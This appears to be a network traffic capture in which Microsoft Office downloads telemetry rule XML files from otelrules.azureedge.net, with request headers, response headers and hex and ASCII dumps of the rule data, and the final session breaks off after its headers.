Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:23 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:23 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 4793f8bc-701e-0053-5872-433a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165523Z-174f7845968swgbqhC1EWRmnb4000000169000000000rn28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:23 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:23 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:23 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: c2b00c79-201e-0000-27b2-42a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165523Z-174f7845968pf68xhC1EWRr4h800000016fg00000000agz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:23 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:24 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:25 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 37388cc4-c01e-00ad-4fef-41a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165525Z-174f7845968n2hr8hC1EWR9cag00000015wg000000009888 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:25 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:25 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:25 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 0ba26849-401e-005b-2f02-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165525Z-174f7845968cs2nkhC1EWR2tq000000001v000000000m0tv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:25 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:25 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:25 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 00f8033d-001e-000b-2543-4415a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165525Z-174f7845968n2hr8hC1EWR9cag00000015wg00000000988h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:25 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:25 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:25 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165525Z-174f78459688l8rvhC1EWRtzr00000000kv0000000008gbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:25 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:25 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:26 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 179ef32c-501e-0016-1fc5-43181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165526Z-174f7845968cpnpfhC1EWR3afc00000015tg00000000hhr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:26 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:27 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:27 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 8564bbda-801e-008c-051b-417130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165527Z-174f7845968pght8hC1EWRyvxg00000009b000000000ew6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:27 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:27 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:27 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: eeb240ff-001e-0014-106c-435151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165527Z-174f7845968j6t2phC1EWRcfe800000016f000000000164v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:27 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:27 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:27 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e3ba4dff-401e-002a-1ea2-42c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165527Z-174f7845968pght8hC1EWRyvxg000000097g00000000w6sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:27 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:27 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:27 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e9f7249a-b01e-00ab-72be-42dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165527Z-174f7845968glpgnhC1EWR7uec000000168g00000000vacu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:28 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:28 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:28 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 8c7215b7-001e-00ad-4224-44554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165528Z-174f7845968ljs8phC1EWRe6en00000015yg00000000txan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
